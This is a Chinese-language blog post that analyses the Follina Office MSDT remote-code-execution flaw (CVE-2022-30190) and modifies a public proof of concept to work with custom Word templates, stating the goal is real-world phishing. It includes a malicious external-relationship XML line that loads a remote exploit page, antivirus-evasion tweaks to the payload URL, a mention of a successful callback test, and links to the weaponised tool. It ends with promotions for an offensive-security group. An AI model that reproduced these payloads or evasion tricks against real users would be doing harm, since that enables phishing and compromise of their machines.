• CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】


    昨天看了下'Follina' MS-MSDT n-day Microsoft Office RCE 这个漏洞,修改了下chvancooten的脚本,实现可以自定义word模板,便于实战中钓鱼使用,自己编辑好钓鱼word文档后-f参数指定即可。

    也可以从我的github上下载:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

    1.复现

    使用https://github.com/chvancooten/follina.py的项目生成恶意word文件,可以实现命令执行,不过腾讯电脑管家、火绒会查杀
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    2. 分析poc

    主要就是两处,一处是改word的word/_rels目录下新添加一个document.xml.rels文件,里面是一个windows.location.href加载远程连接
    在这里插入图片描述
    远程html中放着ms-msdt:/协议写的HTML
    在这里插入图片描述
    最后将文件压缩打包成docx。

    3. Fuzz

    第一种
    分析后可知只是在word的word/_rels修改了document.xml.rels文件
    应对实战空文件不行,随便新建一个文件然后添加一些内容,然后解压后将document.xml.rels放入,再压缩回去,发现不会触发。

    第二种
    生成的clickme.docx 不修改的情况下,可以多次触发,只要修改就不能触发了
    在这里插入图片描述
    第三种
    修改document.xml.rels 文件名不行,依然查杀

    第四种fuzz内容
    查杀的是请求外链,http字样就会查杀
    在这里插入图片描述

    mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html
    换成
    http://localhost:80/exploit.html!
    

    就可以了

    但是实战中要用到自己的word模板,要不然受害者一点开就会觉察到不正常,所以为了贴近实战,修改了脚本,可以自定义word模板。

    4.再分析

    4.1.word结构和poc分析

    在这里插入图片描述
    word文件结构:

    .
    ├── [Content_Types].xml   // 描述的是整个文档的内容。把各个XML文件组合成一个整体
    ├── _rels                 // 定义Package(Zip包)和它所直接包含的Part之间的关系。对于一个 Part 来说,如果它依赖其他 Part,那么需要为这个 Part 创建一个目录,并且也有一个 _rels 目录,目录下面会有一个 partname.rels 文件。比如 /word/document.xml 就是很典型的例子
    ├── docProps              // 记录docx文档的主要属性信息
    │   ├── app.xml          // 描述文档的文档类型、版本、只读信息、共享、安全属性等信息
    │   └── core.xml         // 描述文档的创建时间、标题、主题和作者等基于Open XML约定文档格式的通用文件属性信息
    └── word
        ├── _rels
        │   └── document.xml.rels
        ├── charts
        │   ├── _rels
        │   │   ├── chart1.xml.rels  \\ 映射表存放文件文本框文件的位置
        │   ├── chart1.xml
        │   ├── colors1.xml
        │   ├── colors2.xml
        │   ├── style1.xml
        │   ├── style2.xml
        ├── document.xml    // 文档中所有可见文字的内容和属性及不可见部分的内容和属性
        ├── embeddings
        │   ├── Microsoft_Excel_Worksheet.xlsx
        │   ├── Microsoft_Excel_Worksheet1.xlsx
        │   ├── oleObject1.bin  // OLE是Object Linking and Embedding的缩写,直译为对象连接与嵌入;满足用户在一个文档中加入不同格式数据的需要(如文本、图像、声音等),即解决建立复合文档问题。
        │   ├── oleObject2.bin
        │   ├── oleObject3.bin
        │   ├── oleObject4.bin
        ├── endnotes.xml 
        ├── fontTable.xml    // 文档所使用的字体信息
        ├── footer1.xml
        ├── footer2.xml
        ├── footnotes.xml    // 文档中脚注部分信息
        ├── header1.xml
        ├── header2.xml
        ├── media               // Word中的多媒体文件,如插入的图片、公式对应的wmf文件等
        │   ├── image1.emf
        │   ├── image2.png
        │   ├── image3.jpeg
        │   ├── image4.wmf
        │   ├── image5.emf
        ├── numbering.xml          // Word中的有序列表、无序列表等的信息,定义了列表的样式、序号等信息
        ├── settings.xml           // 文档的总体设置信息
        ├── styles.xml             // Word的样式信息,定义样式的展示优先级以及段落、表格等样式
        ├── theme                  // 文档的主题的所有信息,如颜色、字体大小
        │   ├── theme1.xml
        │   ├── themeOverride1.xml
        │   └── themeOverride2.xml
        └── webSettings.xml        // 文档左右间距等的样式信息
    

    分析word的目录结构,了解到Word/document.xml 是文件的内容
    [Content_Types].xml存储的是part名称和类型
    每一个part是一个xml,part如果引用外部文件就需要在当前目录下创建一个_rels文件夹,下面存放外部引用的rels文件,poc中就是用了document.xml的外部引用。
    在这里插入图片描述
    Poc脚本的模板使用的rid是1337,控制修改在documen.xml中如下修改改成了1111
    在这里插入图片描述
    然后 document.xml.rels 对应修改成了之后就可以使用了

    4.2.关于文件内容

    通过了解word的结构后,如果想要文件内容是自定义的,即自创建模板,可以修改document.xml即可
    填上如下部分即可
    在这里插入图片描述
    在这里插入图片描述

    然后对应的xxx.xml.rels文件中添加外部引用的一行,注意rid对应即可。

    <Relationship Id="rId1111" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://localhost:80/exploit!" TargetMode="External"/>
    

    如下自创模板,并触发漏洞
    在这里插入图片描述

    4.3.静态免杀

    在这里插入图片描述
    上线测试
    在这里插入图片描述
    最后编写了自定义word模板的脚本:
    在这里插入图片描述
    在这里插入图片描述
    ​工具下载:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

    技术交流

    关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

    知识星球
    团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。



  • 相关阅读:
    线程、并发相关---第六篇
    作为比萨店老板,如何设计一个松耦合的比萨菜单-工厂模式应用
    国产ERP有没有机会击败SAP ?
    【0基础学算法】快速排序(超详细讲解+私人笔记+源码)
    03 MongoDB文档的各种增加、更新、删除操作总结
    IDEA 2022报错:Error running,Command line is too long. Shorten command line
    新基建智慧铁路:高铁沿线综合视频监控及风险智能预警管理方案
    C++常见面试题汇总
    SpringCloud微服务:Nacos的下载和配置
    第5章:传输层
  • 原文地址:https://www.cnblogs.com/forforever/p/16370895.html